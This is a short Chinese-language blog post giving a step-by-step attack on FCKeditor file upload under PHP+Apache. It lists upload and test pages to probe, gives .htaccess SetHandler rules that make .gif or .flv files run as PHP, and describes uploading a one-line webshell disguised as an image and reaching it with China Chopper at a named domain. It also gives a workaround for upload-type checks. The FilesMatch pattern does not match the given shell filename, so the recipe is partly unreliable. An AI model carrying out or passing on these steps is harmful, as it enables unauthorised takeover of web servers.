1. 程式人生 > >php+apache fckeditor漏洞利用

php+apache fckeditor漏洞利用

1.發現fckeditor目錄存在,存在以下連結:

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/browser/default/browser.html?Type=file&Connector=connectors/php/connector.php

FCKeditor/editor/filemanager/browser/default/browser.html?Type=image&Connector=connectors/php/connector.php

2.建立1.htaccess檔案,檔案內容如下:

<FilesMatch "_php.gif">

SetHandler application/x-httpd-php

</FilesMatch>

3.上傳1.htaccess和一句話木馬檔案fuckxx.php.gif 到同一目錄,一般是UserFiles/File/目錄下。

4.中國菜刀連結:http://www.kanwangluo.com/UserFiles/File/fuckxx.php.gif, 

還有就是有些人可能會遇到在上傳圖片的時候,fckeditor報錯,說是錯誤的檔案什麼的,這裡有個方法:

可以換種上傳型別,用Flash上傳就不會碰到類似的限制,不過.htaccess檔案的內容也要改改,還有shell的檔名

<FilesMatch "_php.flv">

SetHandler application/x-httpd-php

</FilesMatch>

shell的名字改成shell.php.flv 這樣就可以了